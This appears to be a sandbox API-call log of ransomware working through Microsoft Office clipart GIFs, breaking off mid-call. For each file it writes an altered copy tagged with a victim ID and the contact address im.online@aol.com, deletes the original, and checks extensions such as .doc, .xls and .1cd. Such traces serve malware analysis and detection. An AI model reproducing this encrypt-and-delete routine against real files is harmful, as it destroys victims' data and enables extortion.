0x220 [0116.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0116.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0116.913] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.913] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0116.913] GetLastError () returned 0x0 [0116.913] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x3a19, lpOverlapped=0x0) returned 1 [0116.916] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3a20, lpOverlapped=0x0) returned 1 [0116.918] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0116.918] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0116.918] SetEndOfFile (hFile=0x374) returned 1 [0116.918] CloseHandle (hObject=0x374) returned 1 [0116.920] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0116.920] SetEndOfFile (hFile=0x354) returned 1 [0116.922] CloseHandle (hObject=0x354) returned 1 [0116.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0116.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0116.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.923] lstrlenW (lpString=".doc") returned 4 [0116.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.923] lstrlenW (lpString=".docx") returned 5 [0116.923] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.923] lstrlenW (lpString=".pdf") returned 4 [0116.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.923] lstrlenW (lpString=".xls") returned 4 [0116.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.923] lstrlenW (lpString=".xlsx") returned 5 [0116.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.923] lstrlenW (lpString=".ppt") returned 4 [0116.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.923] lstrlenW (lpString=".zip") returned 4 [0116.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.923] lstrlenW (lpString=".rar") returned 4 [0116.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.923] lstrlenW (lpString=".bz2") returned 4 [0116.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.923] lstrlenW (lpString=".7z") returned 3 [0116.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.924] lstrlenW (lpString=".dbf") returned 4 [0116.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.924] lstrlenW (lpString=".1cd") returned 4 [0116.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.924] lstrlenW (lpString=".jpg") returned 4 [0116.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.924] lstrlenW (lpString=".doc") returned 4 [0116.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0116.924] lstrlenW (lpString=".docx") returned 5 [0116.924] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0116.924] lstrlenW (lpString=".pdf") returned 4 [0116.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0116.924] lstrlenW (lpString=".xls") returned 4 [0116.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0116.924] lstrlenW (lpString=".xlsx") returned 5 [0116.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0116.924] lstrlenW (lpString=".ppt") returned 4 [0116.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0116.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.924] lstrlenW (lpString=".zip") returned 4 [0116.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0116.925] lstrlenW (lpString=".rar") returned 4 [0116.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0116.925] lstrlenW (lpString=".bz2") returned 4 [0116.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0116.925] lstrlenW (lpString=".7z") returned 3 [0116.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0116.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.925] lstrlenW (lpString=".dbf") returned 4 [0116.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0116.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.925] lstrlenW (lpString=".1cd") returned 4 [0116.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0116.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0116.925] lstrlenW (lpString=".jpg") returned 4 [0116.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0116.925] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0116.925] lstrlenW (lpString="AG00037_.GIF") returned 12 [0116.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.014] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=6684) returned 1 [0117.014] CloseHandle (hObject=0x394) returned 1 [0117.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0117.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.015] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.020] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.038] GetLastError () returned 0x0 [0117.038] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0117.041] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1a20, lpOverlapped=0x0) returned 1 [0117.043] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.043] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.043] SetEndOfFile (hFile=0x374) returned 1 [0117.043] CloseHandle (hObject=0x374) returned 1 [0117.048] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.048] SetEndOfFile (hFile=0x394) returned 1 [0117.050] CloseHandle (hObject=0x394) returned 1 [0117.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0117.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.051] lstrlenW (lpString=".doc") returned 4 [0117.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.051] lstrlenW (lpString=".docx") returned 5 [0117.051] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.051] lstrlenW (lpString=".pdf") returned 4 [0117.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.051] lstrlenW (lpString=".xls") returned 4 [0117.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.051] lstrlenW (lpString=".xlsx") returned 5 [0117.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.051] lstrlenW (lpString=".ppt") returned 4 [0117.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.051] lstrlenW (lpString=".zip") returned 4 [0117.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.051] lstrlenW (lpString=".rar") returned 4 [0117.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.051] lstrlenW (lpString=".bz2") returned 4 [0117.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.051] lstrlenW (lpString=".7z") returned 3 [0117.052] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.052] lstrlenW (lpString=".dbf") returned 4 [0117.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.052] lstrlenW (lpString=".1cd") returned 4 [0117.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.052] lstrlenW (lpString=".jpg") returned 4 [0117.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.052] lstrlenW (lpString=".doc") returned 4 [0117.052] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.052] lstrlenW (lpString=".docx") returned 5 [0117.052] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.052] lstrlenW (lpString=".pdf") returned 4 [0117.052] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.052] lstrlenW (lpString=".xls") returned 4 [0117.052] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.052] lstrlenW (lpString=".xlsx") returned 5 [0117.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.052] lstrlenW (lpString=".ppt") returned 4 [0117.052] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.053] lstrlenW (lpString=".zip") returned 4 [0117.053] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.053] lstrlenW (lpString=".rar") returned 4 [0117.053] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.053] lstrlenW (lpString=".bz2") returned 4 [0117.053] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.053] lstrlenW (lpString=".7z") returned 3 [0117.053] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.053] lstrlenW (lpString=".dbf") returned 4 [0117.053] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.053] lstrlenW (lpString=".1cd") returned 4 [0117.053] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0117.053] lstrlenW (lpString=".jpg") returned 4 [0117.053] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.053] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.053] lstrlenW (lpString="AG00092_.GIF") returned 12 [0117.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.054] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=502) returned 1 [0117.054] CloseHandle (hObject=0x394) returned 1 [0117.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0117.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.055] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.055] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.056] GetLastError () returned 0x0 [0117.056] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1f6, lpOverlapped=0x0) returned 1 [0117.057] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x200, lpOverlapped=0x0) returned 1 [0117.059] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.059] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.061] SetEndOfFile (hFile=0x374) returned 1 [0117.061] CloseHandle (hObject=0x374) returned 1 [0117.064] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.064] SetEndOfFile (hFile=0x394) returned 1 [0117.066] CloseHandle (hObject=0x394) returned 1 [0117.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0117.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.067] lstrlenW (lpString=".doc") returned 4 [0117.067] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.067] lstrlenW (lpString=".docx") returned 5 [0117.067] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.067] lstrlenW (lpString=".pdf") returned 4 [0117.067] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.067] lstrlenW (lpString=".xls") returned 4 [0117.067] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.067] lstrlenW (lpString=".xlsx") returned 5 [0117.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.067] lstrlenW (lpString=".ppt") returned 4 [0117.067] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.067] lstrlenW (lpString=".zip") returned 4 [0117.067] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.067] lstrlenW (lpString=".rar") returned 4 [0117.067] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.067] lstrlenW (lpString=".bz2") returned 4 [0117.067] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.067] lstrlenW (lpString=".7z") returned 3 [0117.067] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.067] lstrlenW (lpString=".dbf") returned 4 [0117.068] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.068] lstrlenW (lpString=".1cd") returned 4 [0117.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.068] lstrlenW (lpString=".jpg") returned 4 [0117.068] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.068] lstrlenW (lpString=".doc") returned 4 [0117.068] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.068] lstrlenW (lpString=".docx") returned 5 [0117.068] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.068] lstrlenW (lpString=".pdf") returned 4 [0117.068] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.068] lstrlenW (lpString=".xls") returned 4 [0117.068] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.068] lstrlenW (lpString=".xlsx") returned 5 [0117.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.068] lstrlenW (lpString=".ppt") returned 4 [0117.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.068] lstrlenW (lpString=".zip") returned 4 [0117.068] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.068] lstrlenW (lpString=".rar") returned 4 [0117.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.069] lstrlenW (lpString=".bz2") returned 4 [0117.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.069] lstrlenW (lpString=".7z") returned 3 [0117.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.069] lstrlenW (lpString=".dbf") returned 4 [0117.069] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.069] lstrlenW (lpString=".1cd") returned 4 [0117.069] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0117.069] lstrlenW (lpString=".jpg") returned 4 [0117.069] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.069] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.069] lstrlenW (lpString="AG00103_.GIF") returned 12 [0117.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.070] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=12702) returned 1 [0117.070] CloseHandle (hObject=0x394) returned 1 [0117.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0117.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 